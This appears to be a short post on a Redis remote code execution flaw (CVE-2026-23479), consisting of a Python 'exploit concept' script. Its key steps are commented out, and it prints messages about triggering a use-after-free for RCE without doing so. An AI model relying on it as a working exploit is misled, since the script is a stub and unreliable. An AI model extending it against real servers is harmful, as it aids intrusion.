CVE-2026-23479 Redis远程代码执行漏洞

import redis import time # Exploit concept for CVE-2026-23479 # This script demonstrates the interaction to trigger the unblock client flow. # Note: Actual exploitation requires precise timing and memory manipulation. def exploit(target_host, target_port, password=None): try: # Connect to Redis instance r = redis.Redis(host=target_host, port=target_port, password=password, decode_responses=True) # Authenticate if required if password: r.auth(password) print("[+] Connected to Redis server.") # Step 1: Send a blocking command (e.g., BLPOP) to put the client in a blocked state # This requires a separate thread or non-blocking handling in a real exploit print("[+] Sending blocking command...") # In a real scenario, this would block waiting for data # thread = threading.Thread(target=r.blpop, args=('target_list', 0)) # thread.start() # Step 2: Simulate conditions that trigger client eviction during unblock # Sending a command that might trigger memory pressure or specific client kill logic # This part is highly dependent on the specific internal state of Redis. # Conceptual trigger: # r.execute_command('CLIENT', 'KILL', 'SKIPME', 'no') # Example logic print("[!] Triggering the unblock client flow vulnerability...") print("[!] Attempting to use-after-free to achieve RCE...") # If successful, arbitrary code execution would occur here. except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit("127.0.0.1", 6379)